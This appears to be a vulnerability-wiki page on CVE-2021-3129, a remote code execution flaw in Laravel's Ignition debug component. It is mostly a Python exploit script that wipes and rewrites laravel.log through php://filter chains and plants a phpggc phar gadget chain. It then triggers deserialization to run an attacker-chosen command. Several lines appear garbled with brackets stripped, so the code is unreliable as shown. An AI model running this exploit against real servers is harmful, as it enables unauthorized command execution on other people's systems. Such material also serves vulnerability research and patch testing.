Loading
0

Laravel Debug mode RCE CVE-2021-3129

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

Laravel是一套简洁、开源的PHP Web开发框架(PHP Web Framework),旨在实现Web软件的MVC架构。

2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

影响范围

Laravel <= 8.4.2

Ignition <2.5.2

漏洞利用

# -*- coding=utf-8 -*-
# Author : Crispr
import os
import requests
import sys
 
class EXP:
    #这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用
    __gadget_chains = {
        "monolog_rce5":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "%s" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join('=' + hex (ord(i))2: + '=00' for i in sys.stdin.read()).upper())"
        """
    }
 
    def __vul_check(self):
        res = requests.get(self.__url,verify=False)
        if res.status_code != 405 and "laravel" not in res.text:
            print("+Vulnerability does not exist")
            return False
        return True
 
    def __payload_send(self,payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data"parameters""viewFile" = payload
        
        print(data)
        res = requests.post(self.__url, headers=header, json=data, verify=False)
        return res
 
    def __clear_log(self):
        payload = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
        return self.__payload_send(payload=payload)
 
    def __generate_payload(self,gadget_chain):
        generate_exp = self.__gadget_chainsgadget_chain % self.__command
        #print(generate_exp)
        exp = "".join(os.popen(generate_exp).readlines()).replace("\n","")+ 'a'
        print("+exploit:")
        print(exp)
        return exp
 
    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
 
    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
 
    def __rce(self):
        text = str(self.__unserialize_log().text)
        #print(text)
        text = texttext.index(''):.replace("}","").replace("","")
        return text
 
    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("* Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('A' * 2)
            self.__payload_send(self.__generate_payload((gadget_chain)))
            self.__decode_log()
            print("* Result:")
            print(self.__rce())
 
    def __init__(self, target, command):
        self.target = target
        self.__url = requests.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = command
        if not self.__vul_check():
            print("- %s is seems not vulnerable." % (self.target))
            print("* You can also call obj.exp() to force an attack.")
        else:
            self.exp()
 
def main():
    EXP("http://127.0.0.1:8888",sys.argv1)
 
if __name__ == "__main__":
    main()

Github:https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

免费、自由、人人可编辑的漏洞库--pwnwiki.com